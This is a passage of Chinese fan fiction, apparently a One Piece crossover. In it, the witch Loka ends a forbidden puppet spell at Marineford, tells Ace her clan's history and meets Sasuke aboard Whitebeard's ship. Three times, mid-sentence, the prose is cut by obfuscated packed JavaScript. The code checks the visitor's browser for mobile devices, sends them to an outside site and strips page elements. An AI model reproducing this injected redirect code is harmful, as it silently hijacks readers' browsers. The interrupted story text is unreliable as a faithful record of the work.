“星辰毕竟太远,灯光亮过星光也是常事。”自与战国翻脸以来,洛卡第一次对他显示出一种超常的耐心,“接触活人,这是傀儡繁衍和进化的方式。首先要接触、伤害尽可能多的活人,这就是繁衍;紧接着让这些活人生出食欲、同类相食,吞食过同类的‘灯’,才能从普通的‘灯’之中脱颖而出,成为更接近星辰的存在,这便是进化。 您瞧,那些已死的傀儡付出了生命的代价,已经成为星辰了,因此没有必要再争。可你们还是有思想有欲望的活人——成为星辰的名额是有限的,资源和机会总是有限的。要怎么才能在不失去思想和生命的情况下获得如同星辰般永恒的生命力呢?很简单,只要杀死所有的竞争者、吸收所有的灯光就能模仿、甚至超越星光了。” 简而言之,就是要他们自相残杀。活到最后的那位便能永生不死。 如此一来身为赝品的灯反而能在不失去生命和思想的情况下获得不死不灭的能力,直接成为最接近神的存在。因此即使残酷,还是有许多人对“执灯”趋之若鹜。 说完,她看向战国的眼睛,目光中甚至有些怜悯,“您为什么心甘情愿地躲在艾斯的白炎里?因为您已经意识到了,您对艾斯已经没有了杀意,您的杀意已经转移到前来救您的同伴身上了吧?” 复生的傀儡不过是引诱活人自乱阵脚的诱饵,傀儡术从一开始盯上的就只有能避开箭矢的活人。 洛卡又靠近了些,声音低得几乎听不见:“您完全可以遵从本能杀出重围,以您的本事大概率能活到最后——只要成功,您的地位便与神无异,真的不试试吗?” 战国没有回答,反而问道:“你绕了这么大一个圈子,只为了给我一个这么大的好处?恐怕还有什么别的目的吧。” 洛卡淡笑,没有回答。 隔着热浪,意识恍惚之际他看不清洛卡的脸。 他忽然想起八年前第一次见到加西亚那位家主的情景,是在临时充当处刑场的岛心广场上——那座岛上的民众为了让加西亚一族的巫师们免于极刑,被海军带到广场上观刑却反请求海军放那些已然奄奄一息的巫师一马,濒死的虚弱家主看到此情此景忽然激动起来,硬撑着最后一口气在海军的枪口之下直起脊背:“你要在孩子们的注视之下行刑吗?!” 必须在民众的注视之下行刑,只有这样才能杀一儆百、宣扬海军和其背后的政府的威严。 这是来此之前战国接到的指令。 但是真的要在孩子跟前行刑吗? 他下令让人将老人和孩子带走,此举被广场上的人群误解,不知是谁大喊一句海军要杀平民,愤怒的民众冲破包围踏进广场试图营救海军枪口之下的巫师,海军之中又不知是谁就这么朝手无寸铁的人群开了枪。 枪声响起的那一瞬,他听见人群之中传出一声惊叫——是一个白发蓝瞳的女孩,似乎是不敢相信海军真的会对人群开枪似的,她站在惊慌失措的人们中间,难以置信地、惊怒交加地望着他。 事后战国将一切如实写成报告上交,却得到了“那里的岛民长久以来被巫师洗脑,海军开枪反击并无过错”的答复,没有得到任何惩罚。 一直以来这个女孩所表现出来的温顺、恭谨、恐惧有一大半都是伪装,这一点战国还是清楚的。只是一直以来她也是一个理智、和善,很多时候甚至颇有些风趣的人。她几乎是鹤养大的,战国便误以为她长大后会变成一个像鹤那样的人。 他以为她已经选择了海军。 不认可政府、不认可贵族,海军之中许多人都是如此,甚至很多人都是因为经历了不公之事后为了维护正义才加入了海军。 如果她真的想要报仇,他可以随时献出自己的命。但他没想到复仇欲已经将这个姑娘撕裂至此。 “我以为。”战国的声音沙哑难辨,“你至少不会伤及无辜。” “无辜?”洛卡歪了歪头,“整个海军组织都是贵族手里的尖刀,所有人包括我在内,有哪一个真的无辜?海军的资金是由贵族提供,那么贵族的财产又从何而来?世界政府不过是个运营机构,本身并不产生金钱。” 洛卡说这话时甚至有些想笑,“只要奴隶制还存在,我们背后的正义二字不过就是自欺欺人的产物罢了。” 身后传来一声闷响,是青雉被白胡子打飞了出去。 青雉撞上身后的高墙,又沿着高墙缓缓滑落到地上。鲜血和剧痛让他从那种剧烈的、难以抑制的杀害同伴的冲动当中略清醒了几分。 好在他原本也不是什么好战之人,到了这种时候还是能勉强压制住杀死同伴的欲望。 魔法真是一种可怕的东西——远处,原本正在集中攻击奥兹的枪火队已经将枪口对准了同被傀儡伤过的同伴。 青雉抬手,冰柱自他身下蜿蜒而出,瞬间冻住了那帮海军的手脚。 没有用。那些海军被冰困住的一瞬间就被奥兹一掌扫飞了出去。 此时艾斯忽然像是想到了什么,略担忧地转头对洛卡说道:“可他身在其中,真的能明白你在说什么吗?” 洛卡疲惫地笑了笑——她的脸色红润得有些奇怪:“其实他并不是不明白,只是在权衡这么做的后果。” 说着她又将目光转向战国:“请从那里出来,元帅。出来之后,您只需要杀掉所有被傀儡所伤的同类,就能成为唯一的幸存者、获得如同傀儡一般刀枪不入、病痛难侵的体质。为了争夺资源不惜同类相残、再以这以命相搏夺来的资源去侍奉根本不尊重任何低等生命的神明,神明会施舍你地位和权力,这就是您所率领的海军一直在做的事,您应该很擅长才对。” 周围陷入一阵长久的静默。 良久,终于有海军哀求出声:“洛卡少佐,求求您大发慈悲将这阵停下来吧,我不想再杀害同伴了!” “你为什么要求她?还不如我们一起去杀了她!” 话是这么说,但由于被魔力操控,眼下少有海军能冲破求生欲望的压制上前伤害洛卡。 洛卡对海军的怒骂和求饶置若罔闻:“元帅,请下决断。” 又是一阵沉默。 最后还是艾斯第一个开口:“洛卡,你的事都办完了吗?” 洛卡一愣:“差不多是……怎么?” “那我们走吧!”艾斯朝她伸出了手。 “……”洛卡转开眼不去看,“你现在最应该做的是去查看你父亲的伤情……” “那是你骗我离开这里的谎言吧!”艾斯笃定地说道,“你给我父亲施加了祝福,他大概率不会有事的!” 他上前几步揽住洛卡的肩膀将她整个人抱了起来,一边向墙边跑去一边凑在她耳边低声道,“你内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052213|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心一定想要离开这里——否则当初你误以为我是穿越者的时候不会那么着急就要尝试开启那道【门】试图回到你的那个世界去!” 说着他又高声道,“你自己不愿意走那就由我来带你走,反正我是海贼,就算到了海军的地界,也一定要抢点什么回去!” 洛卡只觉得耳廓那一圈都热热地烧了起来:“你胡说八道什么……快放我下来!” 此时身后那股一直包围着战国的白炎忽然动了动——是战国再次打碎了周边的地面,同时他的手臂也不可避免地被白炎灼伤。 幸而有霸气保护,手臂只是被高温火炎吞噬了部分血肉组织,不至于废了整条手臂。 艾斯略一犹豫,还是停了下来,抱着洛卡警惕地转过身去,在热浪上打开了一个缺口。 “……我明白了。”战国顶着窒息感和双眼尖锐的疼痛感从那缺口缓步走出,“眼下这术法是由那禁术的魔力催动,所以即使杀了你也无法停下。你要的不过就是让艾斯跟着白胡子海贼团安全离开,对吗?” 听到这里洛卡的眼里竟然流露出一些失望:“其实我还以为您会有所不同的。” 忽然她整个人缩在艾斯怀里打了个冷颤,心跳似乎停了一拍:情况有些不妙。她觉得自己快要撑不住了。 所以洛卡只好话锋一转:“不过您说得也没错。只要您能让他们离开,我可以将这术法收回,让傀儡术停下来——虚伪的星辰归于尘土,微弱的灯光自然随之熄灭。” 按原作剧情,白胡子和艾斯都会死在这里,她对白胡子施加的祝福迟早会随着禁术的彻底反噬而失效,她必须抢在性命被禁术夺走之前收回禁术。 禁术反噬让洛卡体内的器官开始衰竭,器官衰竭又让她呼吸开始困难、胸腔内漫开难以忍受的疼痛,视野和意识也开始模糊。然而她事先置于艾斯体内、后又回到她处的魔力修补工作也在继续,她在反复的重伤和复原之中几近崩溃: “您看看周围,海军已经开始互相残杀了。”她转头看了被青雉冻住半边身体的赤犬一眼,说话时声气弱了几分,“但是如果现在妥协,还没来得及死去的同伴还有得救——就算您自己能抑制住本能的杀意过完下半辈子,其他所有被傀儡感染的海军也拥有像您这般不凡的自制力吗?” 周围杀声不断,原本齐心协力围攻奥兹的枪火队顷刻间分崩离析——被青雉冻住的下一秒,那海军竟直接拔下自己被冻住的左臂,用锋利的冰柱捅穿了身边之人的脖颈。 算上已经被转化成傀儡的那些海军,死伤何止过半。 此时反噬也终于蔓延至洛卡的心脏——魔力修补在愈发强势的反噬之下慢了下来,洛卡呼吸一窒,再次昏了过去。 另一头,白胡子将力竭的佐助捞起来扛在肩上:“该走了,奥兹!” 奥兹弯下腰来,将正与自家船员缠斗的海军拨开,抓起几位白团的成员,紧接着朝抱着洛卡的艾斯奔去;几乎同时,众人头顶的天空忽然发出一阵巨大的轰鸣声,奥兹抬头一瞧,还没看真切,忽觉自己眼中一痛,似乎有什么东西从脑中散去了——那是洛卡事前对白团所下的言灵术。 巨大的魔法阵在轰鸣声中寸寸碎裂,碎片在阳光的照耀下缓缓下落,如同白日流星一般在空中逐渐隐去、消散。 阳光透过魔法阵的缝隙重新照在了所有人的身上。 22. 022 022 其实洛卡在很长一段时间内都没有意识到这里是海贼世界。 养育她的婆婆在她六岁上过世,遗体在她眼前一点点地化成齑粉散在风里,急得团团转的洛卡遍寻古书也找不到召回人类遗体的办法,消沉了好几天之后尝试独自出门狩猎魔兽,终于在某次与魔兽缠斗时被召唤到了此世。 养她长大的婆婆当然也是女巫,但却从未和她提过召唤的事。受到召唤的洛卡前一秒还在森林之中,下一瞬就出现在加西亚的大宅之内,慌张失措地出现在一个巨大的魔法阵中间,还没醒过神来就看到阵外数位巫师倒地吐血,一位站在阵外旁观的年轻男巫震惊地盯着她: “怎么……会是个小孩子?” 受到惊吓的洛卡尖叫着离开了那个可怕的屋子,对着追过来的人胡乱地发出攻击,但六岁的她发出的术式没一个起到作用,她还是被抓了回去。 宅子里的主事人、也就是她刚到此地时看到的那个黑发红瞳的年轻男巫派人看管着她,又有许多白发苍苍的老巫师前后对她施了好几个她看不懂的术法,终于这些人又退出了她所在的房间,到她隔壁的会议室开大会去了。 洛卡伺机打晕了看管她的女巫,发动窃听术贴在墙上听了半天都没听出什么名堂,干脆在墙上开了个洞试图逃跑——然而这宅子实在太大,她一出长廊就迷了路,还没来得及辨明方向,她的逃跑就被巫师们察觉,慌不择路之下溜进了离她最近的那扇门,抬眼便看到挂了满墙的历代家主的画像。 她在右下的位置看到了一位眼熟的年轻女巫。这位女巫眼下有一颗痣,右耳耳垂上挂着一只红宝石耳坠。虽然其实她从未见过婆婆年轻时的模样,但她还是一眼便认出了这就是她的婆婆。 也就是在这个时候她忽然反应过来:虽然婆婆的瞳孔因为年迈而瞳色黯淡、略显浑浊,但她婆婆其实也是红瞳。 刚到此处时她见到的许多巫师也是黑发红瞳的长相,包括那位看管她的女巫。 这里是婆婆的家吗? 她愣愣地站在原地,直到那位年轻男巫率领众巫师找到了她。 ——“你对这些油画感兴趣吗?” 那位男巫师走到她身边蹲了下来与她平视,“画像里都是我们一族的先人,不要害怕,告诉我这里有你认识的人吗?” 洛卡犹犹豫豫地指了指婆婆年轻时的画像:“这个姐姐长得很像我的婆婆。” “啊,那是第二代家主。”男巫温和地对她笑了笑,“她在继承家族之后不久,便同族中一些天赋异禀的年轻巫师一起被送往了异世。” 洛卡惊讶地瞪大眼睛:“异世?” “你长大的那个世界,对于我们而言便是异世。”男巫摸了摸她的头,“只有继承了同族魔力的孩子才能被召唤到此,你应该是第二代家主的后人,所以才来了此世。我们原本想召唤的是你的婆婆,但她既然没能来到这里,说明她已经过世了吧? 洛卡有些难过:“我没能治好她,也来不及保护她的遗体……” “巫师的躯体本就由魔力维持,早已成了魔力的一部分,保住遗体没有任何意义。”男巫温柔地看着她的眼睛,“我们加西亚一族的人无论身在何处,死后灵魂与魔力都会回到此世,化为头顶的星辰。所以你不用担心你的婆婆会孤独,星辰的寿命那么漫长,我们的族人会永远与我们同在。” 她跟着婆婆的后人在那个富饶的、广阔的岛上生活了四年,四年后海军登岛,她看到那眼熟的制服忽然明白过来:这是她闲来消遣时在水晶球里见过的海军啊。 接下来发生的事情于她而言像一场漫长的噩梦。 后来,鹤告诉她,天龙人虽然需要她但并不想把她带在身边,也不认为她能对贵族生出什么忠心,于是她被象征性地授予一个海军职级,皮球一样又被踢回了军队,只需每年在海军的监视下定期向天龙人述职即可。 如此八年后,在某次外出前往推进城时,她遇到了被押进囚室的艾斯。 心事重重的艾斯并未注意到她,在狱卒的密不透风的包围下与她擦肩而过了。 她却站在原地心悸了一瞬,面上甚至浮起一个久违的、由衷的笑:她知道她终于等来了摆脱贵族唯一的机会。 * 洛卡醒来时恰好是一个漫天星辰的夜晚。 她睁开眼睛发现自己身处一个全然陌生的船室当中,舷窗半开,夜风裹挟着海水那略腥气的味道灌了进来。这倒很稀奇,她以前住在老公寓里很少见到星空和海,只能闻到老家具的陈腐味和自来水管生锈的铁锈味。 窗户开着,身上却盖着两条毯子,不知是什么缘故。 她推开毯子从床上坐了起来,感觉有些头晕目眩。她似乎睡了很长的一觉,身上的疲惫感去了大半,只觉口渴和饥饿。 也是好事,会感到渴和饿,说明她的身体已被魔力修复,包括心脏在内的身体所有部位都已经恢复了工作。 洛卡想去够床边矮桌上的水壶,一回头却发现自己的魔杖被挂在床头上方,不由得愣了一下。 此后她也要开始使用魔杖了。 魔杖下方有个床头柜,摆着她那个装着一大袋水晶球的包袱。 她坐在床上发了会呆,低头看到床边放着一双拖鞋,便踩上那拖鞋下了床,环顾一圈找到了盥洗室,洗手台边沿放着一套全新的洗漱用具。 艾斯真贴心啊。 她这么想着,洗漱到一半她抬头去看镜子里的自己,这一觉她睡得又长又好,眼底的青黑都消失了。 此时她忽听门口传来吱呀一声轻响,是木门被推开了。 “……洛卡。”艾斯抱着一个装满衣服的置物篮僵在了盥洗室门口,“你醒了啊?” 洛卡手里还抓着一块皱巴巴的毛巾,闻言轻笑起来:“最近好像常听你说起这句话呢。” 艾斯愣了一下,忽然像是想起了什么似的丢下置物篮跑了出去。洛卡叫了他两声都没把人叫住,眼下她久睡刚醒还有些虚弱,只好放弃了追出去的想法,开始翻看艾斯拿进来的衣物。 全是些款式夸张带超大风帽和繁复刺绣的女巫套装,也不知道他从哪里弄来的。 目瞪口呆的时候艾斯又一阵风似的卷进门来:“洛卡,你躺了三天肯定很饿了吧?我去厨房给你弄了点吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052214|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” 洛卡惊讶地站起身来:“我竟然睡了三天?” “是啊!”艾斯将手里的餐盘放到桌上掀开了盖子,里头是一碟奶油浓汤,难为他一路过来一点没洒,“我还拿了点红豆派过来。”他拿起个纸袋放在浓汤旁边,小心地问了一句,“这么多你吃得下吗?” 洛卡坐下来打开了纸袋:“这大半夜的难为你察觉到我醒了,还来给我送吃的。” “……”艾斯不好意思地挠了挠头,“你今天忽然呼吸困难,我担心你喘不上气就把窗户打开了,但是又怕你着凉所以时不时来看看,想着说不定你就醒了呢。” 呼吸困难? “啊,怪不得那窗户开着我身上却盖了两条毯子——呼吸困难可能是修复到胸廓还是哪里的时候出问题了引起的。”洛卡接过艾斯递过去的叉子挖了一点红豆派,“没关系,现在都好了。” 艾斯看着她慢慢将红豆派吃了大半,餐盘里的浓汤也见了底,才斟酌言辞道:“你的心脏也好了吗?” 洛卡的动作一僵:“你什么意思?” “你以前不用魔杖。”艾斯直直看向她的眼睛,“魔杖上的那颗水晶球是你自戕之后从你心脏的位置分离出来的,我怎么想都觉得——其实那颗球就是你的心脏吧?” 洛卡放下叉子:“这么说也不准确。”她皱起眉,思考着该怎么解释,“对巫师而言,心脏和大脑都是神的恩赐,这两个部位受损是不可逆的,受损之后就需要有个别的东西代替它执行原来的供血任务,那颗球就是这个替代品。” 说着说着她自己也恍然大悟,“所以这颗球大概是个心脏起搏器吧?” 艾斯腾地从椅子上站起来:“那……你以后一直都……” “一直都只能是个靠水晶球活着的活死人?”洛卡忍俊不禁,“艾斯你觉得巫师是一个什么样的存在呢?” 艾斯愣住了。 “随手一挥就能呼风唤雨排山倒海吗?”洛卡叹了口气,“或许我们一族祖上也曾有过这样的辉煌吧,但任何辉煌都不能长久。为了让没能继承天赋的后人也能使用魔法,破坏心脏、通过将魔力注入心脏的方式强行拥有天赋也是一种常见的方法,原理大约类似于给一个普通人换一身含有魔力的血。” “……可你原先明明就……” “我原先确实用不上这样的方法。”洛卡抬头看向窗外的星空,“我族的水晶球被夺之后一直存放在玛丽乔亚——那是一颗封印着数代家主魔力的水晶球,和普通的水晶球不太一样。八年间我想尽任何办法都接近不了那个球,只能先假死,强行打断与它的联系逼迫它自毁,从而唤醒那三个禁术造就的大阵。” 如此才能利用大阵的魔力对付海军,否则以她一人之力很难想象她能走到今天这一步。 “至于心脏……为了我族的禁术收回,这点代价不算什么。”她伸手抚向自己的心口,“为了这个计划,我必须先将一部分魔力存在另一个人体内,且必须保证这个人能在我‘自杀’之后不顾一切来救我,否则我必死无疑。” 说到这里她感激地朝艾斯笑了笑,“而你果然来救我了,艾斯。” 23. 023 023 艾斯感到难以理解:“为什么不惜牺牲自己的心脏也要成为巫师?就算不能成为巫师,以别的方式不也可以保护族人和岛民吗?” “既然已经接受了神的恩赐,背离神的安排也会遭到神罚。叛离玛丽乔亚已经招来族人逐渐失去魔力的恶果,如果彻底放弃巫师的身份,下一步恐怕会迎来疾病和灾厄。” 洛卡把碗碟收好,抬头看了一眼窗外的星空,“加西亚的家主实际上有表里两位,除了主持一切家事、祭祀的家主之外,还需要一位守护水晶球的持护者——就是那颗封印着以往数代家主魔力的水晶球。上一代持护者是家主的妻子,在海军登岛之时她为了保护水晶球和海军同归于尽了。” 水晶球自此落到了贵族手中。 洛卡说到这里忽然站起身来,走到床头柜跟前,拆开那只装着水晶球的包袱,拿出一只白色的水晶球搁到桌上。 这球上半部分澄净透明,下半部分则被纯白色的雪片充满,中部承接处缀着一些淡色的彩虹片,只有红黄绿紫四色。 这球落到桌子上之后开始膨胀变大,直到变成足有个婴儿般大小的程度才停下来。 从艾斯的角度看去,球内的景致像两座挂着暴风雪的雪山中间架着一座不规则的、颜色不全的彩虹。 洛卡将双手交叠置于其上,魔力自指尖涌出,缓缓钻入那颗球内,那不规则的彩虹片闪烁了好几下,魔力输送停止的那一刻又暗了下去。 “我把从禁术收回的魔力都放进去了,以后这就是我们一族的新家传水晶球了。”她将那球抱在怀里,爱惜地摸了又摸,“上一个被放在玛丽乔亚的球已经自毁,里头历代家主的灵魂都化为天上的星星啦。” 艾斯神情复杂:“家主的灵魂怎么会在这个球里?” 洛卡淡笑:“加西亚一族接受神谕,代代辅佐此地的君主。然而君主残暴、民生多艰,数百年前有一位继承了家主之位的少女对此感到不忍、更对族内被迫为贵族们施加永生祝福导致自身生命力衰减的巫师感到怜悯,带着全族逃出了圣地。但出逃这一行为违背神谕,因此我族会被降下神罚,继承魔力的族人愈发稀少,最终这种特殊的力量会被神彻底收回。 “同时天龙人对巫师一族的背叛感到愤怒,派出军队不惜一切代价对加西亚一族进行追杀和围剿。那位决定出逃的少女在逃亡路上预知了因魔力断代、家族覆灭的结局,于是她做了一个决定。” 说到这里洛卡将那颗球缩小成指甲盖大小,变出一个鸢尾花吊坠将那球镶嵌其中,挂到了自己的脖子上。 “她在家族中指定了两位巫师作为她的继承人,一位负责带领大家继续往前走,另一位则是负责守护和传承的持护者。然后她找来一颗白水晶将自己的灵魂和魔力封印其中,死前对继任者言明:若是某一代彻底没了具有魔力资质的巫师,为了保护家族,可以通过破坏心脏、取用球中魔力的方式,强行催出一位巫师来。否则,沦为普通人的我们根本无力抵抗接下来更为可怕的神罚。魔力是用来给后人继承的,至于灵魂,是起到连接球中魔力与后人躯体的作用。 “第二代家主——也就是抚养我长大的婆婆——她当时也还是个十六七岁的少女呢。她接任了家主之位带领大家继续逃亡,终于找到了一片气候久旱、土地皲裂所以少有人烟的陆地。当时的巫师们买下了这片地,举全族之力将其从陆地上分离出来,让其成为孤岛并推入大海,跟随这片全新的孤岛在海上漂了十天十夜,终于摆脱了政府军的纠缠,在海上找到了一个气候合适的位置将这片土地固定下来,用魔力隐藏了这片土地的踪迹,让它成为了一片全新的岛屿。” 这个故事听得艾斯心潮澎湃:“这么说来,你们的先祖亲手创造了自己的家啊!” 洛卡颇为骄傲地笑了笑,继续说道:“第二任家主不负使命,带着全族安定下来之后就开始考虑家族传承问题。魔力凋敝是注定降临的厄运,一旦魔力消失,政府军迟早找到我们——现在想来或许海军登岛就是神带给我们的灾厄吧。那么该如何扭转这命运呢?无奈之下她想到了一个堪称凶险的办法。” 艾斯一愣:“是……去往异世吗?” 洛卡笑着抬头看向艾斯,“是的,逃往异世是当时她能找到的最安全的方式。 “当时上岛的共有三百余人,她从中选取了数十位资质较好的巫师,同她一道开启禁术,冒着未知的风险去向不同的异世界;被留下来的巫师也不能就此高枕无忧,每一代家主临死之前都会将自己封印进初代家主留下的水晶球当中,同时留下遗嘱指点后世的族人,若是不再有继承了魔力的婴儿出生,就按古书所载,选十二位巫师去开启那道被称为【门】的禁术,将被送往异世的巫师召回,来解决后代魔力渐衰的问题。 “后来有普通人误打误撞地登岛定居。岛上有了普通居民之后,为了让普通人拥有足以生活的空间,加西亚一族搬离岛心,隐于山中;后来又为普通人不断扩张岛屿面积,于是又逐渐有了集市、贸易、航线以及由此催生出来的各式工种。因此,魔力更加不能断代——我们的先祖认为民生是一切的基础,决定连同岛上的普通人一起保护。” 虽然禁术用得太多导致多位巫师不得善终,但是先人留下的古书总算保住了这一族,到洛卡这一代时,这一族的魔力并未断代,磅礴的魔力依旧笼罩在孤岛的上方,保护着全岛近十万岛民。 然而逐渐繁荣的海上贸易终于带来了灾难。虽然加西亚的魔力始终隐藏着岛屿的位置,海军还是通过多年的航线排查工作大概敲定了岛屿所在的海域,又派遣数十个海军小队扮作商贾卧底在航线之上,如此几年后终于发现了岛屿的踪迹。 “或许是因为献祭心脏的行为终于获得了神的原谅。”洛卡抚摸着胸前的水晶球,“神终于回到了我们身边。在我被召来此世两年后,岛上出生了第一个天生带有魔力的婴儿。”她说到这里时笑意收敛了几分,“原本一切都会好起来的——直到海军登岛,摔死了那个才长到两岁的孩子。就像当初海军为了找到你的母亲,伤害了那么多同龄孕妇一样,所有的孕妇、孩子,无论有没有继承魔力,所有和加西亚一族有关的岛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052215|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民都被抓走处死了。” 预知中的噩梦虽然迟了一些,但还是降临了。 虽然海军曾想放过岛上的普通居民,但目睹了人间惨剧的居民无法相信海军口头下达的仅让老人和孩子退出岛外的指令,还是决定劫刑场夺回当时还没被处死的巫师以对抗海军这群在他们眼中披着制服的白色恶魔——但是失败了,全岛只活了洛卡一个。 “我的族人和当初的无辜岛民全部死在了刑场上,这个公道我自然也要在刑场上讨回来。”洛卡说完这个故事的时候,天恰好亮了,“虽然我也不知道这算不算报仇,好歹那些曾经受过我和我族人祝福的天龙人已经全都死了。” 说到这里她笑了笑,“且这笔账一定会被无能的贵族算到海军头上。” 她想让战国看看他的忠诚到底会换来什么,所以她没有试图去杀战国;看到青雉使用能力冻住赤犬体内的箭矢救了赤犬一命时,她也未曾上前阻止。 接下来海军会如何取舍?找几个人出去顶罪,以换得大部分海军安然无恙吗? “对了。”洛卡思及此处也问了艾斯一个问题,“你们从马林梵多撤退途中,没有遇到什么阻碍吗?” “没有。”艾斯的眼神又复杂起来,“你唤出的那个大阵消失了,但地上的傀儡还没消失——我们要走的时候,他们还在砍杀着身边的海军。” “毕竟我对他们下了言灵术、而且他们也确实已经获得了永生之躯。”洛卡叹了口气,“但驱动他们的魔力消失了,他们最多还能留存十二个小时。说起来傀儡的形态可是天龙人穷尽一生都在追求的东西,其实没了魔力支撑也不过是一群易碎的人偶罢了。” 用言灵术获得所有海军的注意、抓准机会释放艾斯,紧接着刺穿心脏唤出大阵,让禁术驱使海军同类相残,最后用傀儡拖住海军让白团带着艾斯撤离,每一环都在洛卡的计划里。除了没能让祝福降临到战国头上之外,其他的环节都完成得还算不错。 计划里的最后一环——禁术收回、反噬停止,她体内魔力的修补工作才能畅通无阻地完成,这一步她也赌对了。 直到现在,她才算松了口气:“恭喜我们重获自由,艾斯。” 艾斯被她这么一说,一开始也高兴地笑了笑,站起来想要拥抱洛卡;然而双臂伸到一半又忽然被他收了回去,再开口时他的语气已经有些发急:“那你为什么又要准备一颗这样的球?你要像之前的家主们一样把你的灵魂也封进这里面吗?” “不是现在。”洛卡低头亲了亲那颗水晶球,温和地笑了笑,“那都是临死之际的事啦。” “可你不是想要自由吗?”艾斯焦急地抓住她握着水晶球的那只手,“如果你的灵魂终有一天要被封印,那还算自由吗?” 洛卡惊讶地笑了笑:“即使如此我也还是加西亚的家主,身为持护者,我有责任庇护后人,即使这后人还没出现。艾斯,人类在拥有自由的同时也肩负责任——就像加入白团成为海贼是你的自由、在同伴被谋害时追击凶手是你的责任一样,将灵魂与魔力献给后人也是我的责任。” 24. 024 024 吃完饭后艾斯又把碗碟拿起来带了出去,无所事事的洛卡在房间里逛了一圈,直到天光大亮,门外响起清晰高亢的鸟叫声,近得像是那鸟就在身边。洛卡顿感稀奇,正想推窗去瞧,却听门口有敲门声响起,不轻不重的笃笃两声。 洛卡直觉这不是艾斯,如果是他的话,敲完门大概率还会隔着门扯着嗓子叫她几遍。 她走过去开了门,站在门外的竟是几日未见的宇智波佐助。 洛卡有些意外:“佐助?你找我有事?” 佐助神情一派平静,一双漆黑的眸子看不出什么喜怒:“早上好。我来带你熟悉环境,顺便介绍你跟大家认识。” 洛卡惊讶地看他半晌:“你这种看上去不是跟哥哥待在一起一声不吭就是自己窝在角落里一声不吭的性子竟然也能干这种带新人熟悉职场的活儿啊?” 她是在瞧不起他吗? 佐助尽力压制住心中的不悦:“……你不满意这安排的话,我去叫哥哥过来。” “不用不用。”洛卡回到房内拿起魔杖,憋着笑走出门外关上门,“我瞧你干这活比你哥哥合适,就你了。” 这语气,跟她当初在马林梵多指使他摆餐盘拉窗帘时一模一样。 虽说白团在附近的岛屿上也有据点,但大多数人还是更习惯住在船上,艾斯和佐助也不例外。 船上的布局也没多复杂,从洛卡的房间出来左拐有个餐厅,今天值日的艾斯正在发早餐,里头不时有笑闹叫嚷之声传出,推杯碰盏闹成一片;餐厅前方是个练功室,重视体术训练的船员常出入那里;再往前是船员们的宿舍,因为船上都是男性所以距离洛卡的单人间很远,艾斯过来找她需要绕过大半艘船。 洛卡心头有些熨帖:这里的人待她确实不赖。 “那里是你的炼药房。”佐助伸手指了指练功室上方的船室,“哥哥一个人花了三天收拾出来的,没让任何人帮忙。” 洛卡脚步一顿,面上有些微的惊愕;紧接着她足尖在甲板上略点了点,踩着晨风飞到半空中,隔着窗户向炼药房内看去。 佐助观察到她隔窗看了许久,神情变了几变,才慢慢远离炼药房,回到他的身侧缓缓降至地面。 怎么,这是不高兴吗? 佐助假装没注意到她脸上那副不自然的神情,继续说道:“现在是早餐时间,大家都在,我带你进去吧。” 洛卡却站定不走了:“其实你完全可以代替你哥哥进去干活、不勉强自己来带我这个新人,但你还是来见我了,其实是有别的事想跟我商量吧?” 佐助沉默。 洛卡趁热打铁补了一句:“和你哥哥有关系?” 佐助定定地看了她一会儿:“哥哥回来之后没怎么同我提过推进城的事,但你对我和哥哥倒是知之甚多?” 洛卡笑了,是个调侃的笑:“怎么会,你和你哥的事,他也没同我说太多。” 佐助一愣,知道她这是同他打上了太极——他的试探没有起效,她在海军内部待得久了,很懂得见人说人话见鬼说鬼话的道理,对付直肠子海贼的那一套在她这里根本行不通。 “其实我是来找你说那三个你的族人拼上性命才落成的禁阵的事。”他这么说着,仔细打量了洛卡的神色,见她果然眉头微蹙才心下略松,从袖中拿出一份剪报来递给洛卡,“这是今晨的早报,上面关于你的内容我都剪下来了。哥哥从你那里出来不久,他还不知情。” 他是在将艾斯从他们二人的密谈里摘出去——大约同时还在讽刺她些什么,洛卡没有在意,接过剪报看了一眼。 剪报不大,可见在报纸上也没占多大的版面。她一直看到第六行才找到自己的名字,上面写着数位年轻海军卷入顶上战争被艾斯的火炎所伤,不幸惨死云云,她的名字排在许多被她亲手转化成傀儡的海军后面,十分讽刺。 “原来是一则追思悼念的讣告啊。”洛卡嘴角笑意不减,眼底却一片冰冷,“马林梵多的事早就通过映像虫转播了出去,就算后半段让他们给掐了这丑事也已经瞒不住了,难为他们还能厚着脸皮发这样的通告。” “还能厚着脸皮硬说你死在了我哥哥手上。”想到这里佐助眼底浮起一丝难以抑制的厌恶,“这是……瞒不住你叛逃的事,干脆说你死在了海贼手里?” 